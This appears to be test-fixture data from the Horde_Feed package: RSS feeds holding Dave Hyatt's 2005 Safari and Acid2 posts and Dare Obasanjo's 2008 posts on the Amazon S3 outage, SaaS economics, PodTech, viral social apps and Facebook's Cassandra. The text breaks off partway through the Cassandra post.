    (3) The default bookmarks reappearing after being removed won't happen going forward now that the way this is handled has been changed. See (1) above re: global domination.
    (4) The selection extends to the edges of lines in the new Safari just as it does in other Mac apps like TextEdit. This change had to be made so that editing selection would behave like NSTextView. It was a challenge translating this to the Web space, but I will blog more about this in a future entry.
    (5) When saving links to the desktop from the context menu, you can hold down Option to change the menu item so that you can pick a location.

    ]]>     Safari hyatt 2005-04-18T23:10:37-08:00     The Acid2 Test: The Smile and Row Fourteen http://weblogs.mozillazine.org/hyatt/archives/2005_04.html#007973 Even though I consider row 14 to be ambiguous, I went ahead and modified the Safari code to yield the correct expected behavior. It isn't so much that the test is wrong as that it is testing unspecified behavior.

    I also noticed thanks to Ian Hickson that the smile was not in fact rendering correctly. The reason is that Safari will expand floats to encompass overhanging child floats even when the outer float has specified a height explicitly in CSS. I changed the code so that this is now only done when height is auto, and the smile now renders as it should.

    Updated screenshot below. All that I have left is fixing the object element's behavior in order to completely pass the test.

    acid2-4.png

    ]]>     Safari hyatt 2005-04-18T04:08:13-08:00     Safari 1.3 http://weblogs.mozillazine.org/hyatt/archives/2005_04.html#007962 Those of you running Panther can now update to 10.3.9. This update includes Safari 1.3 and new versions of WebKit, WebCore, and JavaScriptCore that contain thousands of improvements we've made to the engine since Safari 1.2.

    What you are getting is all of the new standards support, new WebKit capabilites, site compatibility fixes and performance optimizations that are also present in Safari 2.0 for Tiger. The layout engines for the two are virtually identical.

    Here are some of the highlights:

    Page Load Performance
    Safari 1.3 loads pages overall 35% faster than 1.2 as measured by IBench. In addition to improving the overall page load, Safari 1.3 will display content sooner than 1.2 did, so that subresources don't hold up the initial display of the page.

    JavaScript Performance
    We have substantially improved the performance of the JavaScript engine in Safari. I encourage you to check out Safari 1.3 on this benchmark for example to see the improvement relative to 1.2.

    HTML Editing
    Safari 1.3 supports HTML editing, both at the Objective-C WebKit API level and using contenteditable and designMode in a Web page. The new Mail app in Tiger uses WebKit for message composition. You can write apps that make use of WebKit's editing technology and deploy them on Panther and Tiger.

    Compatibility and Security
    Compatibility and security are our number one priority in WebCore, and Safari 1.3 has many important compatibility fixes. For example, percentage heights on blocks, tables and cells now work much better in Safari 1.3. min/max-width/height support has been added. More of the table-related CSS properties are now supported. DOM methods like getComputedStyle are now supported.

    The DOM Exposed
    The entire level 2 DOM has been exposed a public API in Objective-C. This means various holes have been filled in Safari's DOM level 2 support. In addition to exposing the DOM to Objective-C, the JS objects that wrap DOM objects can also be accessed from Objective-C, allowing you to examine and edit the JS objects themselves to inject properties onto them that can then be accessed from your Web page.

    XSLT
    Safari 1.3 on Panther now supports XSLT. 10.3.9 includes libxslt, and Safari uses this excellent library to handle XSLT processing instructions it encounters in Web pages.

    Plugin Extensions
    For those of you writing WebKit apps, a new Objective-C WebKit plugin API is supported that lets you put Cocoa widgetry into the Web page more easily. In addition enhancements to the Netscape Plugin API (made in conjunction with Mozilla Foundation) have been implemented for plugins that require cross-browser compatibility.

    Did I mention it's really really fast? :)

    In case you're curious about differences between the Tiger and Panther versions of the engine, they mostly have to deal with frameworks that changed underneath WebKit. For example we have new faster image decoders on Tiger (that also handle PNGs correctly), so you'll find that Tiger fixes some of the PNG gamma issues that will still exist on Panther. In addition the new decoders are incredibly fast and are now run on a separate thread on multi-processor machines on Tiger.

    The network layer has also been improved on Tiger, so this may be another source of differences in behavior between the two operating systems. Overall, however, it's likely that content and applications you develop with WebKit will behave identically on the two operating systems.

    Let us know what you think.

    ]]>     Safari hyatt 2005-04-15T22:35:36-08:00     Acid2: Row 14 http://weblogs.mozillazine.org/hyatt/archives/2005_04.html#007958 I believe row 14 is ambiguous and needs to be amended. Safari makes this row too tall for the same reasons Firefox does.

    See https://bugzilla.mozilla.org/show_bug.cgi?id=289480#c14 for more details.

    ]]>     Safari hyatt 2005-04-15T14:16:09-08:00     Acid2: Rows 6-9 Revisited http://weblogs.mozillazine.org/hyatt/archives/2005_04.html#007956 Earlier I asserted that Safari passed rows 6-9. Now I'm not so sure. As someone in the comments pointed out, Safari has a 1px golden ring around the black nose that is not there in the reference rendering. I will have to figure out what causes this to see if it's a bug in Safari.

    ]]>     Safari hyatt 2005-04-15T13:43:16-08:00     ././@LongLink000 160 0003733 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.25hoursaday.com-weblog-SyndicationService.asmx-GetRssHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.25hoursaday.com-weblog-SyndicationService0000664000175000017500000055265112653701626031556 0ustar janjan Dare Obasanjo aka Carnage4Life favicon.ico 2008-07-21T05:57:33.015625-07:00 Dare Obasanjo Smoke like a hippie, drink like a pirate and code like a hacker http://www.25hoursaday.com/weblog/ DasBlog http://members.microsoft.com/careers/epdb/image/i_mop_ProfID58_l.jpg323344http://www.feedburner.com Some Thoughts on Amazon S3's Recent Outage http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=efd9527e-c59f-4031-9f28-243005aa0562 2008-07-21T05:57:33.015625-07:00 2008-07-21T05:57:33.015625-07:00 <p> Yesterday <a href="http://aws.amazon.com/s3">Amazon's S3 service</a> had an outage that lasted about six hours. Unsurprisingly this has led to a bunch of wailing and gnashing of teeth from the very same pundits that were hyping the service a year ago. The first person to proclaim the sky is falling is Richard MacManus in his <a href="http://www.readwriteweb.com/archives/more_amazon_s3_downtime.php">More Amazon S3 Downtime: How Much is Too Much?</a> who writes </p> <blockquote> <p> <em>Today's big news is that Amazon's S3 online storage service has experienced significant downtime. Allen Stern, who hosts his blog's images on S3, reported that the </em> <a href="http://www.centernetworks.com/amazon-s3-down-july-2008"> <em>downtime lasted</em> </a> <em> <s>3.5</s> over 6 hours. Startups that use S3 for their storage, such as SmugMug, have also </em> <a href="http://smugmug.wordpress.com/2008/07/20/amazon-s3-outage-causes-smugmug-outage/"> <em>reported problems</em> </a> <em>. Back in February this same thing happened. At the time RWW feature writer Alex Iskold defended Amazon, in a must-read analysis entitled </em> <a href="http://www.readwriteweb.com/archives/reaching_for_the_sky_through_compute_clouds.php"> <em>Reaching for the Sky Through The Compute Clouds</em> </a> <em>. But it does make us ask questions such as: <font color="#ff0000">why can't we get 99% uptime?</font> Or: isn't this what an SLA is for?</em> </p> </blockquote> <p> Om Malik joins in on the fun with his post <a href="http://gigaom.com/2008/07/20/amazon-s3-outage-july-2008/">S3 Outage Highlights Fragility of Web Services</a> which contains the following </p> <blockquote> <p> <em>Amazon’s S3 cloud storage service </em> <a href="http://www.centernetworks.com/amazon-s3-down-july-2008"> <em>went offline</em> </a> <em> this morning for an extended period of time — the second big outage at the service this year. </em> <a href="http://gigaom.com/2008/02/15/amazon-s3-service-goes-down/"> <em>In February</em> </a> <em>, Amazon suffered a major outage that knocked many of its customers offline.</em> </p> <p> <em>It was no different this time around. I first learned about today’s outage when avatars and photos (stored on S3) </em> <a href="http://tapulous.com/blog/2008/07/amazon-s3-outages-causing-problems-in-ttr-and-twinkle/"> <em>used by</em> </a> <em> </em> <a href="http://gigaom.com/2008/07/18/twinkle-twinkletwitter-star/"> <em>Twinkle</em> </a> <em>, a Twitter-client for iPhone, vanished.</em> <br> <em>…</em> <br> <em>That said, the outage shows </em> <a href="http://gigaom.com/2008/07/01/10-reasons-enterprises-arent-ready-to-trust-the-cloud/"> <em>that cloud computing still has a long road ahead</em> </a> <em> when it comes to reliability. NASDAQ, Activision, Business Objects and Hasbro are some of the large companies using Amazon’s S3 Web Services. But even as cloud computing starts to gain traction with companies like these and most of our business and communication activities are shifting online, web services are still fragile, in part because we are still using technologies </em> <a href="http://gigaom.com/2008/06/27/storage-outages-can-todays-hardware-handle-the-cloud/"> <em>built for a much less strenuous</em> </a> <em> web.</em> </p> </blockquote> <p> Even though the pundits are trying to raise a stink, the people who should be most concerned about this are Amazon S3's customers. Counter to Richard MacManus's claim, not only is there a <a href="http://www.amazon.com/gp/browse.html?node=379654011">Service Level Agreement (SLA) for Amazon S3</a>, it promises 99.9% uptime or you get a partial refund. 6 hours of downtime sounds like a lot until you realize that 99% uptime is 8 hours of downtime a month and over three and a half days of downtime a year. Amazon S3 is definitely doing a lot better than that. </p> <p> The only question that matters is whether Amazon's customers can get better service elsewhere at the prices Amazon charges. If they can't, then this is an acceptable loss which is already covered by their SLA. 99.9% uptime still means over eight hours of downtime a year. And if they can, it will put competitive pressure on Amazon to do a better job of managing their network or lower their prices. </p> <p> This is one place where market forces will rectify things or we will reach a healthy equilibrium. Network computing is inherently and no amount of outraged posts by pundits will ever change that. Amazon is doing a better job than most of its customers can do on their own for cheaper than they could ever do on their own. Let's not forget that in the rush to gloat about Amazon's down time. </p> <p> </p> <p> </p> <p> </p> <p> <b>Now Playing:</b> <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=2Pac&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">2Pac</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=2Pac+Life Goes On&amp;x=0&amp;y=0">Life Goes On</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=3Zf7hj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=3Zf7hj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=bo1WSj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=bo1WSj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=G1XmWj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=G1XmWj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=buFbvJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=buFbvJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/341525035" height="1" width="1"/> Software as a Service: When Your Business Model Becomes a Paradox http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=44431b10-1324-40a5-84db-fa52168db013 2008-07-21T04:45:49.53125-07:00 2008-07-21T04:45:49.53125-07:00 <p> For the past few years, the technology press has been eulogizing desktop and server-based software while proclaiming that the era of Software as a Service (SaaS) is now upon us. According to the lessons of the <a href="http://www.amazon.com/Innovators-Dilemma-Revolutionary-Business-Essentials/dp/0060521996">Innovator's Dilemma</a> the cheaper and more flexible SaaS solutions will eventually replace traditional installed software and the current crop of software vendors will turn out to be dinosaurs in a world that belongs to the warm blooded mammals who have conquered cloud based services. </p> <p> So it seems the answer is obvious, software vendors should rush to provide Web-based services and extricate themselves from their "legacy" shrinkwrapped software business before it is too late. What could possibly go wrong with this plan?  </p> <p> Sarah Lacy wrote an informative article for Business Week about the problems facing software vendors who have rushed into the world of SaaS. The Business Week article is entitled <a title="http://www.businessweek.com/technology/content/jul2008/tc20080717_362776.htm" href="http://www.businessweek.com/technology/content/jul2008/tc20080717_362776.htm">On-Demand Computing: A Brutal Slog</a> and contains the following excerpt </p> <blockquote> <p> <em>On-demand represented a welcome break from the traditional way of doing things in the 1990s, when swaggering, elephant hunter-style salesmen would drive up in their gleaming BMWs to close massive orders in the waning days of the quarter. It was a time when representatives of Oracle (</em> <a href="http://investing.businessweek.com/research/stocks/snapshot/snapshot.asp?symbol=ORCL"> <em>ORCL</em> </a> <em>), Siebel, Sybase (</em> <a href="http://investing.businessweek.com/research/stocks/snapshot/snapshot.asp?symbol=SY"> <em>SY</em> </a> <em>), PeopleSoft, BEA Systems, or SAP (</em> <a href="http://investing.businessweek.com/research/stocks/snapshot/snapshot.asp?symbol=SAP"> <em>SAP</em> </a> <em>) would extol the latest enterprise software revolution, be it for management of inventory, supply chain, customer relationships, or some other area of business. Then there were the billions of dollars spent on consultants to make it all work together—you couldn't just rip everything out and start over if it didn't. There was too much invested already, and chances are the alternatives weren't much better. </em> </p> <p> <em>Funny thing about the Web, though. It's just as good at displacing revenue as it is in generating sources of it. Just ask the music industry or, ahem, print media. Think Robin Hood, taking riches from the elite and distributing them to everyone else, including the customers who get to keep more of their money and the upstarts that can more easily build competing alternatives. </em> </p> <p> <em>But are these upstarts viable? On-demand software has turned out to be a brutal slog. Software sold "as a service" over the Web doesn't sell itself, even when it's cheaper and actually works. Each sale closed by these new Web-based software companies has a much smaller price tag. And vendors are continually tweaking their software, fixing bugs, and pushing out incremental improvements. Great news for the user, but the software makers miss out on the once-lucrative massive upgrade every few years and seemingly endless maintenance fees for supporting old versions of the software. </em> <br> <em>…</em> <br> <em>Nowhere was this more clear than on Oracle's </em> <a href="http://www.businessweek.com/technology/content/jun2008/tc20080625_978576.htm"> <em>most recent earnings call</em> </a> <em> (BusinessWeek.com, 6/26/08). Why isn't Oracle a bigger player in on-demand software? It doesn't want to be, Ellison told the analysts and investors. "We've been in this business 10 years, and we've only now turned a profit," he said. "The last thing we want to do is have a very large business that's not profitable and drags our margins down." No, Ellison would rather enjoy the bounty of an acquisition spree that handed Oracle a bevy of software companies, hordes of customers, and associated maintenance fees that trickle straight to the bottom line.</em> <br> <em>…</em> <br> <em>SAP isn't having much more luck with Business by Design, its foray into the on-demand world, I'm told. SAP said for years it would never get into the on-demand game. Then when it sensed a potential threat from NetSuite, SAP decided to embrace on-demand. Results have been less than stellar so far. "SAP thought customers would go to a Web site, configure it themselves, and found the first hundred or so implementations required a lot of time and a lot of tremendous costs," Richardson says. "Small businesses are calling for support, calling SAP because they don't have IT departments. SAP is spending a lot of resources to configure and troubleshoot the problem."</em> </p> </blockquote> <p> In some ways, SaaS vendors have been misled by the consumer Web and have failed to realize that they still need to spend money on sales and support when servicing business customers. Just because Google doesn't advertise it's search features and Yahoo! Mail doesn't seem to have a huge support staff that hand holds customers as it uses their product doesn't mean that SaaS vendors can expect to cut their sales and support calls. The dynamics of running a free, advertising based service aimed at end users is completely different from running a service where you expect to charge business tens of thousands to hundreds of thousands to use your product. </p> <p> In traditional business software development you have three major cycles with their own attendant costs; you have to write the software, you have to market the software and then you have to support the software. Becoming a SaaS vendor does not eliminate any of these costs. Instead it adds new costs and complexities such as managing data centers and worrying about hackers. In addition, thanks to free advertising based consumer services and the fact that companies like Google that have subsidized their SaaS offerings using their monopoly profits in other areas, business customers expect Web-based software to be cheaper than its desktop or server-based alternatives. Talk about being stuck between a rock and a hard place as a vendor. </p> <p> Finally, software vendors that have existing ecosystems of partners that benefit from supporting and enhancing their shrinkwrapped products also have to worry about where these partners fit in a SaaS world. For an example of the kinds of problems these vendors now face, below is an excerpt from a rant by Vladimer Mazek, a system administrator at <a href="http://www.exchangedefender.com/">ExchangeDefender</a>, entitled <a title="http://www.vladville.com/2008/07/houston-we-have-a-problem.html" href="http://www.vladville.com/2008/07/houston-we-have-a-problem.html">Houston… we have a problem</a> which he wrote after attending one of Microsoft's partner conferences </p> <blockquote> <p> <em> <b>Lack of Partner Direction:</b> By far the biggest disappointment of the show. All of Microsoft’s executives failed to clearly communicate the partnership benefits. That is why partners pack the keynotes, to find a way to partner up with Microsoft. If you want to gloat about how fabulous you are and talk about exciting commission schedules as a brand recommender and a sales agent you might want to go work for Mary Kay. This is the biggest quagmire for Microsoft – it’s competitors are more agile because they do not have to work with partners to go to market. Infrastructure solutions are easy enough to offer and both Google and Apple and Amazon are beating Microsoft to the market, with far simpler and less convoluted solutions. How can Microsoft compete with its partners in a solution ecosystem that doesn’t require partners to begin with?</em> </p> </blockquote> <p> This is another example of the kind of problems established software vendors will have to solve as they try to ride the Software as a Service wave instead of being flattened by it.  Truly successful SaaS vendors will eventually have to deliver platforms that can sustain a healthy partner ecosystems to succeed in the long term. We have seen this in the consumer space with the <a href="http://developers.facebook.com/anatomy.php">Facebook platform</a> and in the enterprise space with <a href="http://www.salesforce.com/appexchange/">SalesForce.com's AppExchange</a>. Here is one area where the upstarts that don't have a preexisting shrinkwrap software businesses can turn a disadvantage (lack of an established partner ecosystem) into an advantage since it is easier to start from scratch than to retool. </p> <p> The bottom line is that creating a Web-based version of a popular desktop or server-based product is just part of the battle if you plan to play in the enterprise space. You will have to deal with the sales and support that go with selling to businesses as well as all the other headaches of shipping "cloud based services" which don't exist in the shrinkwrap software world. After you get that figured out, you will want to consider how you can leverage various ISVs and startups to enhance the stickiness of your service and turn it into a platform before one of your competitor's does.  </p> <p> I suspect we still have a few years before any of the above happens. In the meantime we will see lots more software companies complaining about the paradox of embracing the Web when it clearly cannibalizes their other revenue streams and is less lucrative than what they've been accustomed to seeing. Interesting times indeed. </p> <p> <b>Now Playing:</b> <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Flobots&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Flobots</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Flobots+Handlebars&amp;x=0&amp;y=0">Handlebars</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=WSmhhj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=WSmhhj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=hHUHfj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=hHUHfj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=GWZ2Tj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=GWZ2Tj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=YHFKYJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=YHFKYJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/341478676" height="1" width="1"/> PodTech: What Happens When You Misunderstand the Long Tail http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=e97a826e-fbdf-4d3a-b3a1-cdc422ec0d22 2008-07-21T04:39:41.546875-07:00 2008-07-21T04:39:41.546875-07:00 <p> Sometime last week I learned that podcasting startup <a title="http://www.techcrunch.com/2008/07/17/podtech-sells-for-less-than-500k/" href="http://www.techcrunch.com/2008/07/17/podtech-sells-for-less-than-500k/">PodTech was acquired for less than $500,000</a>. This is a rather ignominious exit for a startup that initially entered the public consciousness with its <a href="http://scobleizer.com/2006/06/10/correcting-the-record-about-microsoft/">high profile hire of Robert Scoble</a> and the intent to build a technology news media empire using RSS and podcasts instead of radio waves and news print. </p> <p> When I first heard about PodTech via Robert Scoble's blog, it seemed like a bad business to jump into given the lessons of <a href="http://en.wikipedia.org/wiki/The_Long_Tail">The Long Tail</a>. The Web creates an overabundance of content and products, which is good for aggregators but bad for creators. Even in 2006 when PodTech was founded you could see this in the success of "Web 2.0" companies that acted as content aggregators like Google, YouTube, Wikipedia and Flickr while content creators like music labels and news papers were beginning to scramble for relevance and revenue.  </p> <p> Kevin Kelly has a great post about this called <a title="http://www.kk.org/thetechnium/archives/2008/07/wagging_the_lon.php" href="http://www.kk.org/thetechnium/archives/2008/07/wagging_the_lon.php">Wagging the Long Tail of Love</a> where he writes </p> <blockquote> <p> <em>So as one crosses the sections -- going from the short head to the long tail -- one should be consistent and view it from the aggregator's point of view or the creator's point of view. I think it is a mistake to conflate the two view points. </em> </p> <p> <em>I've been wrestling with this for a while and I think the only advantage to the creator that I can see in the long tail is that aggregators can invent or produce a long tail domain that was not present before.  Like Seth's </em> <a href="http://www.squidoo.com/"> <em>Squidoo</em> </a> <em> does. Before Squidoo or Amazon or Netflix came along there was no market at all for many of the creations they now distribute. The proposition that long tail aggregators can offer to creators is profound, but simple: you have a choice between a itsy bitsy niche audience (with nano profits) or no audience at all. Before the LT was expanded your masterpiece on breeding salt water aquarium fishes from the Red Sea would have no paying fans. Now you have maybe 100. </em> </p> <p> <em>One hundred readers/watchers/listeners is not economical. There is no business equation that can sustain profits for continual creation from so few buyers. (It can of course support the business of aggregation above the level of creation.) But the long tail niche creation operates perfectly well in the realm of passion, enthusiasm, obsession, curiosity, peerage, love, and the gift economy.  In the exchange of psychic energy, encouragement, meaning of life, and reasons to live, the long now is a boon. </em> </p> <p> <em>That is not true about profits. Economically, the more the long tail expands, the more stuff there is to compete with our limited attention as an audience, the more difficult it is for a creator to sell profitably. Or, the longer the tail, the worse for sales.</em> </p> </blockquote> <p> The Web has significantly reduced the costs of producing and distributing content. Anyone with a computer can publish to a potential audience of hundreds of millions of people for as little as the cost of their Internet connection. This is great for content consumers but it has significantly increased the amount of competition among content creators while also reducing their chances of generating profits from their work since the Web/Internet has provided lots of options for getting quality content for free (both legally and illegally).  </p> <p> All of this is a long way of saying that in the era of "Web 2.0" it was quite unwise for a <u><strong>VC funded</strong></u> startup to jump into the pool of content creators and thus become a victim of The Long Tail instead of becoming a content aggregator and thus benefiting from the Long Tail instead. Of course, even that may not have saved them since the market for podcast aggregators pretty much dried up<a href="http://www.apple.com/itunes/store/podcasts.html"> once Apple entered the fray</a>. </p> <p> <b>Now Playing:</b> <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Lil Wayne&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Lil Wayne</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Lil Wayne+I'm Me&amp;x=0&amp;y=0">I'm Me</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=iEjjqj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=iEjjqj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=mT3o1j"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=mT3o1j" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=O4TW8j"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=O4TW8j" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=Dt3gkJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=Dt3gkJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/341478678" height="1" width="1"/> The Problem with Trying to "Spread Virally" http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=aeaeccbe-8df2-4072-9134-637d087abb86 2008-07-17T06:10:14.515625-07:00 2008-07-17T06:10:14.515625-07:00 <p> One of the problems you have to overcome when building a social software application is that such applications often depend on network effects to provide value to users. An instant messaging application isn't terribly useful unless your friends use the same application and using <a href="http://www.twitter.com">Twitter</a> feels kind of empty if you don't follow anyone. On the flip side, once an application crosses a particular tipping point then network effects often push it to near monopoly status in certain social or regional networks. This has happened with eBay, Craigslist, MySpace, Facebook and a ton of other online services depend on network effects. Thus there is a lot of incentive for developers of social software applications to do their best to encourage and harness network effects in their user scenarios. </p> <p> These observations have led to the notion of <a href="http://www.digitalpodcast.com/podcastnews/2008/03/04/designing-viral-applications/">Viral Applications</a>, applications which spread like viruses. The problem with a lot of the thinking behind "viral applications" and applications that borrow <a title="The Top 5 Viral Facebook Techniques" href="http://www.allfacebook.com/2007/07/the-top-5-viral-facebook-techniques/">their techniques</a> is that attempting to spread by any means necessary can be very harmful to the user experience. Here are two examples taken from this week's headlines </p> <p> From Justine Ezaric, a post entitled <a href="http://tastyblogsnack.com/2008/07/14/the-loopt-debacle/">The Loopt Debacle</a> where she writes </p> <blockquote> <p> <em> <strong> <a href="http://www.loopt.com">Loopt</a> </strong> is a location based social networking site that uses GPS to determine your exact location and share it with your friends.. and then spam your entire contact list via an SMS invite.</em> </p> <p> <em>There’s a good chance that if you installed this application you’ve made the same mistake that most people made. While searching for friends who were on the service, apparently a text message was sent out to a large portion of my contact list, along with my phone number and my exact location (you know, since that’s the point of the application). Granted, you would think that if you have someone’s phone number, they’d have yours as well…</em> </p> <p> <em>Hi, hey.. Over here!! People change their phone number for a reason!! With the ease of syncing contacts on the iPhone, it’s not always guaranteed that everyone in your contact list is a BFF (read: best friend forever). Also, there’s always people you just never want to text.. Like Steve Jobs, or an old boss, or maybe even an ex who would rather push you in front of a bus than get a text message from you?</em> </p> </blockquote> <p> From Marshal Kirkpatrick, a post entitled <a title="http://gmailblog.blogspot.com/2008/07/updates-to-gmail-contact-manager.html" href="http://www.readwriteweb.com/archives/gmail_tries_to_be_less_creepy.php">Gmail Tries To Be Less Creepy, Fails</a> which states </p> <blockquote> <p> <a href="http://gmail.com"> <em>Gmail</em> </a> <em>, Google's powerful web based email service, </em> <a href="http://gmailblog.blogspot.com/2008/07/updates-to-gmail-contact-manager.html"> <em>announced some changes</em> </a> <em> to its contact management features today. Contact management has for some time been a contentious matter among Google Account holders - the company does strange and mysterious things with your email contacts, including tying them in to some other applications without anyone's permission.</em> </p> <p> <em>Today's new changes failed to alleviate those concerns, perhaps making the situation even less clear than it was before.</em> </p> <h4> <em>There Are Your Contacts and Then There Are Your Contacts</em> </h4> <p> <em>The post on the official Gmail blog today announced a new policy. There are now two types of contacts in your Gmail contacts list. There are your explicitly added My Contacts and there are your frequently emailed Suggested Contacts. The distinction between the two is unclear enough that I won't even try to summarize it. Read the following closely.</em> </p> <blockquote> <em> <font color="#ff0000">My Contacts contains the contacts you explicitly put in your address book (via manual entry, import or sync) as well as any address you've emailed a lot (we're using five or more times as the threshold for now). </font> </em> <p> <em> <font color="#ff0000">Suggested Contacts is where Gmail puts its auto-created contacts. By default, Suggested Contacts you email frequently are automatically added to My Contacts, but for those of you who prefer tighter control of your address books, you can choose to disable usage-based addition of contacts to My Contacts (see the checkbox in the screenshot above). Once you do this, no matter how many times you email an auto-added email address it won't move to My Contacts.</font> </em> </p> </blockquote> <p> <em>…</em> <br> <em>When you open up </em> <a href="http://google.com/reader"> <em>Google Reader</em> </a> <em>, the company's RSS reader, you'll find not just the feeds you've subscribed to but also the feeds of shared items from your "friends." Those friendships were defined somehow by Google, according to who you email in Gmail apparently. They can opt-out of having their shared items publicly visible at all, but short of doing that - you are seeing their shared items and someone, presumably, is seeing your shared items too. No one knows for sure.</em> </p> </blockquote> <p> Both Loopt and Gmail + Google Talk + Google Reader are examples of applications choosing approaches that encourage <a href="http://en.wikipedia.org/wiki/Virality">virality</a> of the application or features of the application at the risk of putting users in <u><strong>socially awkward situations</strong></u>. As Justine mentions in the Loopt example, just because a person's phone number is in the contact list on your phone doesn't mean they would like to receive a text message from you at some random time of the day asking them to try out some social networking application. A phone isn't a social networking site. I have my doctor, my boss, his boss, our childcare provider, co-workers whose numbers I have in case of emergency and a bunch of other folks in my phone's contact list. These aren't the people I want to send spammy invites to try out some social networking application which probably doesn't even work on their phone. However I'm sure there has been some positive user growth from their "viral" techniques, but at what cost to their brand? Plaxo is still dealing with damage to their brand from <a href="http://search.live.com/results.aspx?q=plaxo+spam&amp;go=&amp;form=QBLH">their spammy era</a>. </p> <p> The Gmail behavior is even worse primarily because Google didn't fix the problem. Especially since people have been <a href="http://googlesystem.blogspot.com/2007/12/who-are-my-gmail-contacts.html">complaining about it for a while</a>. No one can blame Google for wanting to jump start network effects for features like Shared Items in Google Reader or products like Google Talk, but it seems pretty ridiculous to decide to automatically add people I email to an IM application so they can see when I'm online and contact me anytime or to the list of people who are notified whenever I share something in Google Reader. It's just email, it does <u><strong>not</strong></u> imply an intimate social relationship. The worst thing about Google's practices is how it backfires, I'm less likely to use that combination of Google products so as not to cause inadvertent information leakage because some "viral algorithm" decided that because I sent a bunch of emails to my child care provider she needs to know whenever I share a link in Google Reader.  <br>   <br> If you decide to spread virally, you should be careful that you don't end up causing people to avoid your product like the diseases you are trying to emulate. </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> <b>Now Playing:</b> <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=David Banner&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">David Banner</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=David Banner+Get Like Me (feat. Chris Brown, Yung Joc &amp; Jim Jones)&amp;x=0&amp;y=0">Get Like Me (feat. Chris Brown, Yung Joc &amp; Jim Jones)</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=s45KKj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=s45KKj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=vQKEWj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=vQKEWj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=vDPd5j"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=vDPd5j" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=iliaHJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=iliaHJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/338041653" height="1" width="1"/> Project Cassandra: Facebook's Open Source Alternative to Google BigTable http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=c573171e-8e62-45b4-b85c-7b411b528e51 2008-07-14T04:41:09.15625-07:00 2008-07-14T04:41:09.15625-07:00 <p> About a week ago, the Facebook Data team quietly released <a href="http://code.google.com/p/the-cassandra-project/">the Cassandra Project on Google Code</a>. The Cassandra project has been described as a cross between Google's BigTable and Amazon's Dynamo storage systems. An overview of the project is available in <a 